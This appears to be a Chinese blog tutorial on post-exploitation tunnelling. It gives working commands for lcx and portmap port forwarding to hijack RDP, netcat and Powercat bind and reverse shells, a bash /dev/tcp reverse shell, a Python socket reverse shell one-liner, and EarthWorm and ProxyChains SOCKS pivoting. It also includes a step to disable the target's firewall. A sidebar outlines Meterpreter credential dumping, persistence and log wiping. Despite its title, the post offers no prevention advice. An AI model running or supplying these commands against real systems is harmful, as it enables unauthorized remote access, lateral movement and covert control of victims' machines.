后渗透——隧道及预防

隧道及预防

1 内网代理

  • 正向:

    工具机主动连接目标机,目标机处于监听状态。

    两者能直接连通,如在同一局域网下或者同在公网。

  • 反向:

    目标机主动连接工具机,工具机处于监听状态。

    目标机在内网,两者无法直接连通。

2 端口转发和映射

以下所有工具下载

2.1 工具机与目标机可直接相互访问

  • 工具机

    lcx.exe -listen 1111 2222
    # 1111是在工具机上监听目标机的端口
    #转发到2222作为连接目标机的端口
    
  • 目标机

    lcx.exe -slave 192.168.123.111 1111 127.0.0.1 3389
    # 第一个IP是工具机的IP
    # 第二个IP是目标机的IP,一般是127.0.0.1,3389对应需要被监听的端口
    
  • 使用远程桌面登录

    127.0.0.1:2222
    

    注意不要使用目标机原有管理账户登录,以免顶掉程序

2.2 工具机与目标机不可直接相互访问

  • 目标机上监听本地3389端口并转发到工具机所连VPS的1111端口

    lcx slave 工具机所连接的VPS的IP 1111 127.0.0.1 3389
    
  • 在工具机所连VPS监听1111端口并转发到2222端口供工具机连接

    portmap -m 2 -p1 1111 -p2 2222
    

    Linux上portmap的用法:

    Usage:./portmap -m method [-h1 host1] -p1 port1 [-h2 host2] -p2 port2 [-v] [-log filename]
    -v:version
    -h1:host1
    -h2:host2
    -p1:port1
    -p2:port2
    -log:log the data
    
    -m:the action method for this tool
    1: listen on PORT1 and connect to HOST2:PORT2
    2: listen on PORT1 and PORT2
    3: connect to HOST1:PORT1 and HOST2:PORT2
    
  • 工具机上连接VPS的端口

    工具机所连接的VPS的IP:2222
    

3 反弹shell

3.1 Netcat

3.1.1 命令介绍

connect to somewhere:	nc [-options] hostname port[s] [ports] ... 
listen for inbound:	nc -l -p port [-options] [hostname] [port]
options:
	-c shell commands	as `-e'; use /bin/sh to exec [dangerous!!]
	-e filename		program to exec after connect [dangerous!!]
	-b			allow broadcasts
	-g gateway		source-routing hop point[s], up to 8
	-G num			source-routing pointer: 4, 8, 12, ...
	-h			this cruft
	-i secs			delay interval for lines sent, ports scanned
        -k                      set keepalive option on socket
	-l			listen mode, for inbound connects
	-n			numeric-only IP addresses, no DNS
	-o file			hex dump of traffic
	-p port			local port number
	-r			randomize local and remote ports
	-q secs			quit after EOF on stdin and delay of secs
	-s addr			local source address
	-T tos			set Type Of Service
	-t			answer TELNET negotiation
	-u			UDP mode
	-v			verbose [use twice to be more verbose]
	-w secs			timeout for connects and final net reads
	-C			Send CRLF as line-ending
	-z			zero-I/O mode [used for scanning]
port numbers can be individual or ranges: lo-hi [inclusive];
hyphens in port names must be backslash escaped (e.g. 'ftp\-data').

3.1.2 正向

  • 目标机

    注意首先要关闭其防火墙,否则有可能翻车systemctl stop firewalld.service

    #windows机器
    nc -lvvp 1111 -e C:\Windows\System32\cmd.exe 
    #linux机器
    nc -lvvp 1111 -e /bin/bash 
    

    在目标机centos7:

    在这里插入图片描述

  • 工具机

    nc 目标机IP 1111
    

    即可反弹shell:
    在这里插入图片描述

3.1.3 反向

  • 两台正向不通反向通的机器:
    在这里插入图片描述
    在这里插入图片描述

  • 工具机

    nc -lvvp 1111
    
  • 目标机

    #Windows
    nc -e C:\Windows\System32\cmd.exe 工具机IP 1111
    #Linux
    nc -e /bin/bash 工具机IP 1111
    

    在这里插入图片描述

3.2 Powercat

官方例子

#监听端口8000并将输出打印到控制台。
powercat -l -p 8000
  
#连接到10.1.1.1端口443,发送一个shell,并启用详细信息。
powercat -c 10.1.1.1 -p 443 -e cmd -v

#连接c2.example.com上的dnscat2服务器,向10.1.1.1端口53的dns服务器发送dns查询。
powercat -c 10.1.1.1 -p 53 -dns c2.example.com

#将文件发送到10.1.1.15的8000端口。
powercat -c 10.1.1.15 -p 8000 -i C:\inputfile
  
#将发送到端口4444上的本地监听器的数据写入C:\outfile
powercat -l -p 4444 -of C:\outfile

#监听端口8000并重复服务器powershell shell。
powercat -l -p 8000 -ep -rep

#通过tcp将8000端口进入的流量中继到10.1.1.1端口9000。
powercat -l -p 8000 -r tcp:10.1.1.1:9000

#通过tcp将进入端口8000的流量转发到c2.example.com上的dnscat2服务器,将查询发送到10.1.1.1端口53。
powercat -l -p 8000 -r dns:10.1.1.1:53:c2.example.com

3.2.1 部署

  • 下载powercat.ps1

  • 打开powershell,导入该模块

    Import-Module .\owercat.ps1
    

    如果导入失败,先执行以下语句:

    Set-ExecutionPolicy Unrestricted
    

    至此即可使用powercat命令。

3.2.2 工具机netcat与目标机powercat正向

  • 目标机

    powercat -l -p 1234 -e cmd.exe -v
    
  • 工具机

    nc 目标机IP 1234 -vv
    

3.2.3 工具机netcat与目标机powercat反向

  • 工具机

    nc -l -p 8888 -vv
    
  • 目标机

    powercat -c 工具机IP -p 8888 -v -e cmd.exe
    

3.2.4 双方powercat反向连接

  • 目标机

    powercat -c 工具机IP -p 1234 -v -ep
    
  • 工具机

    powercat -l -p 1234 -v
    

3.2.5 生成payload

  • 工具机

    #生成payload
    powercat -l -p 1234 -e cmd -v -g >> shell.ps1
    #开启监听
    powercat -c 目标机IP -p 1234 -v
    
  • 目标机

    #powershell中
    .\shell.ps1
    

3.4 Bash

  • 目标机Linux

    bash -i >&/dev/tcp/工具机IP/工具机端口 0>&1
    bashi -i >&/dev/tcp/工具机IP/工具机端口 0/&2
    
    #tcp可以换成udp
    

    以上命令表示建立一个bash重定向到工具机

  • 工具机

    #监听TCP
    nc -lvvp 设定的端口
    #监听UDP
    nc -lup 设定的端口 
    

3.5 Python

  • 工具机

    nc -lvvp 端口号
    
  • 目标机

    python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("工具机IP",工具机端口号));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'
    

4 隧道技术

4.1 ProxyChains

ProxyChains是遵循GNU协议的一款适用于Linux系统的网络代理设置工具,强制由任一程序发起的TCP连接请求必须通过注入TOR或SOCKS4、SOCKS5或HTTP(S)代理,支持的认证方式包括:SOCKS4/5的用户/密码认证,HTTP的基本认证,允许TCP和DNS通过代理隧道,并且可配置多个代理。

4.1.1 安装

git clone https://github.com/rofl0r/proxychains-ng
cd 路径
./configure
make && make install

4.1.2 配置

vim /etc/proxychains.conf
#添加内容
socks4 IP 端口号

4.1.3 使用

proxychains 命令

4.2 EarthWorm

基于标准C开发,拒用socks5代理,端口转发和映射功能。多平台。

4.2.1 安装

https://github.com/idlefire/ew

4.2.2 配置

#该工具共有 6 种命令格式(ssocksd、rcsocks、rssocks、lcx_slave、lcx_listen、lcx_tran)。

#1. 正向 SOCKS v5 服务器
  $ ./ew -s ssocksd -l 1080
#2. 反弹 SOCKS v5 服务器
  #这个操作具体分两步:
  #a) 先在一台具有公网 ip 的主机A上运行以下命令:
  $ ./ew -s rcsocks -l 1080 -e 8888 
  #b) 在目标主机B上启动 SOCKS v5 服务 并反弹到公网主机的 8888端口
  $ ./ew -s rssocks -d 1.1.1.1 -e 8888 
  #成功。
#3. 多级级联
 #工具中自带的三条端口转发指令,它们的参数格式分别为:
  $ ./ew -s lcx_listen -l  1080   -e 8888
  $ ./ew -s lcx_tran   -l  1080   -f 2.2.2.3 -g 9999
  $ ./ew -s lcx_slave  -d 1.1.1.1 -e 8888    -f 2.2.2.3  -g  9999
 #通过这些端口转发指令可以将处于网络深层的基于TCP的服务转发至根前,比如 SOCKS v5。
 #首先提供两个“二级级联”本地SOCKS测试样例:
  #a) lcx_tran 的用法
  $ ./ew -s ssocksd  -l 9999
  $ ./ew -s lcx_tran -l 1080 -f 127.0.0.1 -g 9999
  #b) lcx_listen、lcx_slave 的用法
  $ ./ew -s lcx_listen -l 1080 -e 8888
  $ ./ew -s ssocksd    -l 9999
  $ ./ew -s lcx_slave  -d 127.0.0.1 -e 8888 -f 127.0.0.1 -g 9999
 #再提供一个“三级级联”的本地SOCKS测试用例以供参考
  $ ./ew -s rcsocks -l 1080 -e 8888
  $ ./ew -s lcx_slave -d 127.0.0.1 -e 8888 -f 127.0.0.1 -g 9999
  $ ./ew -s lcx_listen -l 9999 -e 7777
  $ ./ew -s rssocks -d 127.0.0.1 -e 7777
 #数据流向: SOCKS v5 -> 1080 -> 8888 -> 9999 -> 7777 -> rssocks
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
Meterpreter是一种强大的后渗透工具,它可以在目标机器上执行各种命令和操作,包括文件系统访问、进程管理、网络扫描、密码破解、漏洞利用等等。在使用Meterpreter进行后渗透时,可以采取以下几个步骤: 1. 获取系统信息:使用sysinfo命令可以获取目标系统的详细信息,包括操作系统版本、硬件配置、用户信息等等,这些信息有助于后续的攻击操作。 2. 收集凭证信息:使用hashdump命令可以获取目标系统上保存的用户密码哈希值,然后可以使用破解工具进行破解,从而获取有效的登录凭证。 3. 扫描网络和主机:使用portscan和subnet命令可以对目标网络进行扫描,发现开放的服务和漏洞,然后可以使用exploit模块进行攻击。 4. 接管会话和持久化:使用migrate命令可以将Meterpreter会话转移到目标系统中的其他进程中,从而提高攻击的稳定性和隐蔽性。同时,还可以使用persist命令将Meterpreter程序持久化到目标系统中,以便于下次连接。 5. 进行攻击操作:利用Meterpreter的各种模块和命令,可以进行各种攻击操作,包括远程执行命令、上传下载文件、横向移动、权限提升、漏洞利用等等。 6. 残留清理:完成攻击后,应该进行残留的清理工作,包括删除日志文件、清除历史记录、删除痕迹等等,以避免被发现和追踪。 总之,Meterpreter是一款非常强大的后渗透工具,可以帮助渗透测试人员和黑客更好地进行攻击和渗透测试工作。但是,在使用Meterpreter进行攻击时,应该遵循道德和法律的原则,避免对他人造成不必要的损害和危害。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值